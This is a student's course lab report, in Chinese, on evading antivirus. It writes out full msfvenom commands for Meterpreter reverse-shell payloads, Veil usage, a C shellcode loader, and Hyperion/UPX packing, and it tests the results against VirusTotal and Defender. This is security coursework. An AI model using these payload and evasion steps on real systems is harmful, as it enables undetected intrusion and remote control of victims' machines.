20222320 2024-2025-1 《網路與系統攻防技術》實驗三實驗報告

20222320發表於2024-10-21

目錄

目錄
  • 目錄
    • 0.認識工具
    • Veil
  • 1.實驗目標
  • 2.實驗內容
  • 3.實驗過程
    • (1)使用msf編碼器,使用msfvenom生成如jar之類的其他檔案
    • (2)使用veil加殼工具加殼
    • (3)使用C + shellcode程式設計
    • (4)透過組合應用各種技術實現惡意程式碼免殺
    • (5)用另一電腦實測,在殺軟開啟的情況下,可執行並回連成功
  • 4.問題及解決方案
  • 5.學習感悟、思考等
  • 參考資料

0.認識工具

Veil

一款專為滲透設計的開源工具,旨在生成能夠繞過主流防病毒(AV)軟體檢測的惡意載荷。它透過多種技術手段,如加密、混淆和利用漏洞,確保生成的載荷在目標環境中能夠順利執行而不被AV軟體攔截

apt-get install veil
        ---安裝Veil

veil
        ---啟動Veil

use tool_number
        ---選擇工具

list
        ---列出可用的工具

set option_name option_value
        ---設定選項

generate
        ---生成Payload

exit
        ---退出Veil

info
        ---顯示工具資訊

update
        ---更新Veil

1.實驗目標

(1)正確使用msf編碼器,veil-evasion,自己利用shellcode程式設計等免殺工具或技巧

  • 正確使用msf編碼器,使用msfvenom生成如jar之類的其他檔案
  • veil,加殼工具
  • 使用C + shellcode程式設計

(2)透過組合應用各種技術實現惡意程式碼免殺
如果成功實現了免殺的,簡單語言描述原理,不要截圖。與殺軟共生的結果驗證要截圖。

(3)用另一電腦實測,在殺軟開啟的情況下,可執行並回連成功,註明電腦的殺軟名稱與版本

2.實驗內容

(1)掌握免殺原理與技術

(2)回答問題

  • 殺軟是如何檢測出惡意程式碼的?
    1.基於特徵碼:檢測檔案中是否有木馬病毒特徵碼;如果檢測出匹配就是惡意程式碼
    2.啟發式分析:檢查軟體的特徵和行為,易誤報,但可以檢測出新型的惡意程式碼
    3.行為分析:檢查軟體執行的行為,是否執行敏感操作。如果與已知的惡意行為相符,就判定為惡意程式碼

  • 免殺是做什麼?
    採取各種技術手段,使惡意軟體能夠繞過防毒軟體的檢測和防禦,從而成功地在目標系統上執行。

  • 免殺的基本方法有哪些?
    1.改變特徵碼
    2.加密殼,壓縮殼
    3.程式碼混淆
    4.改變行為(通訊方式,操作方式)

3.實驗過程

(1)使用msf編碼器,使用msfvenom生成如jar之類的其他檔案

msf可以將源程式重新編碼,生成新的2進位制檔案;執行後執行源程式功能

先檢視所有的編碼器

msfvenom --list encoder


選一個rank等級高的來編碼:

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LHOST=192.168.56.103 LPORT=2320 -f exe > 20222320_test3.exe

這時會根據需求生成一個可執行程式:

先測試一下它的免殺效果,這裡用virustotal進行檢測,網址見參考資料

60/72,效果並不好;嘗試多次編碼看看效果

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 LHOST=192.168.56.103 LPORT=2320 -f exe > 20222320_test3.exe

測試後效果一般,沒有明顯變化。下一步試試其他檔案,先生成jar包

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LHOST=192.168.56.103 LPORT=2320 -f jar > 20222320_first.jar


生成結果如下:

把這個拿去檢測一下:

和直接編碼為exe相比有所下降,但還是比較高。
再試試做一個apk:

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 LHOST=192.168.56.103 LPORT=2320 -f apk > 20222320_first.apk


這個拿去檢測:

透過率稍微高點,但作為免殺來說還是較低。這3個結果說明直接生成的結果難以直接透過檢測,所以要找別的辦法

(2)使用veil加殼工具加殼

安裝veil就很麻煩,而且地下實驗室網不好,真要安半小時才行。具體如圖安裝,更著安裝程式一直安就行:

安裝完後應該是這個介面:

先輸入下列指令生成個預設exe看看

use evasion					
use c/meterpreter/rev_tcp.py 
set LHOST 192.168.56.103	
set LPORT 2320					
generate


這裡要到它顯示的檔案路徑去查詢生成的檔案才行,找到後放回當前資料夾便於使用:

拿去直接檢測一下:

結果並不好,透過率不足一半,說明還是不能實現免殺

(3)使用C + shellcode程式設計

用msf生成一段shellcode:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.103 LPORT=2320 -f c  


生成一段shellcode,接下來將它們放到一個.c檔案裡面:

unsigned char buf[] = "[生成的shellcode]";
int main() {
    int (*func)() = (int(*)())buf;
    func(); 
 }

交叉編譯這個程式:

i686-w64-mingw32-g++ shellcode_c.c -o winshell.exe

檢測一下:

比起之前的,可以說檢出機率小了很多了

(4)透過組合應用各種技術實現惡意程式碼免殺

基本思路就是利用msf生成的shell上,用c+shellcode生成原始檔,再用wine的hyperion加密,然後upx壓縮殼

i686-w64-mingw32-gcc win_shell.c -o win_shell.exe
wine /usr/share/windows-resources/hyperion/hyperion.exe -v win_shell.exe win_shell.hyed.exe
upx win_shell.hyed.exe -o winshell_upx.exe


拿去檢查一下,看看透過率:

實現巨大突破了,雖然還不是完全免殺,但已經很成功了,這下透過winscp連線到windows上,嘗試執行。

(5)用另一電腦實測,在殺軟開啟的情況下,可執行並回連成功

先設定kali準備監聽,步驟同實驗二,注意載荷要和生成的shellcode載荷一樣,不然會失敗
電腦用的windows自帶的防護程式和mcafee(刪不掉),剛剛生成的軟體在win防護中心和mcafee都開啟的情況下,雙擊執行

哦嚯,被win防護檢測出來了,那就換一下方法吧:用veil生成程式,再加密並壓縮
先生成一個:

再壓縮:

檢測看看:

看來不是很行,但不管了,試試:

完蛋,還是不行。後面又嘗試了好幾種組合,都不太行,windows自帶的防護中心太猛了
沒辦法,這個算是完不成了,具體原因後面分析吧

4.問題及解決方案

  • 問題1:veil下載出bug
  • 問題1解決方案:這個當時沒注意截圖,寫報告時安裝好了沒有圖片了;描述一下就是缺少一個wine的依賴,這是程式會在後面提示你重新執行veil的安裝程式,照著重新安裝就行。也可能會有網路問題,這時候換源就行
  • 問題2:免殺失敗
  • 問題2解決方案:見下方學習思考

5.學習感悟、思考等

先看一下加殼的原理,加殼就是把原始的程式裝到一個“外殼”裡保護起來。所以被保護過的程式啟動其實是從殼程式碼開始的,然後才會啟動處理之後的原始程式,因為原始程式上加了一堆的加密和虛擬化手段,沒有殼程式碼參與,作業系統已經不能正確執行了。加殼時對block進行編譯保護,一個 Block 會被掰開、揉碎、打散,變成多個 Block,而且還分散在各處。這樣就不可能直接反編譯,最後連結儲存相關的操作,便於復原。
那和win報錯有什麼關係呢?加殼處理過的程式內部已經不能像一個“正經”程式那樣被人隨便分析了,防毒軟體的思路通常是“不讓我看懂就說明你有問題”,所以就報毒。而且msf太老了,被各路軟體都分析透了。而且這次試驗的免殺技術也比較簡單,,靜態就被殺了,說明特徵碼被找到唄。真要改的話參考下面免殺要進入程式修改特徵碼才行吧,而不是隻是簡單執行加密壓縮殼。
這次試驗雖然最後有點失敗,但透過查資料分析原因,還是讓我對免殺認識了很多的,總而言之,道高一尺魔高一丈啊

參考資料

  • virustotal網址
  • 實驗指導書
  • 加殼到底是怎麼回事
  • 常用免殺技術
  • 免殺基礎

相關文章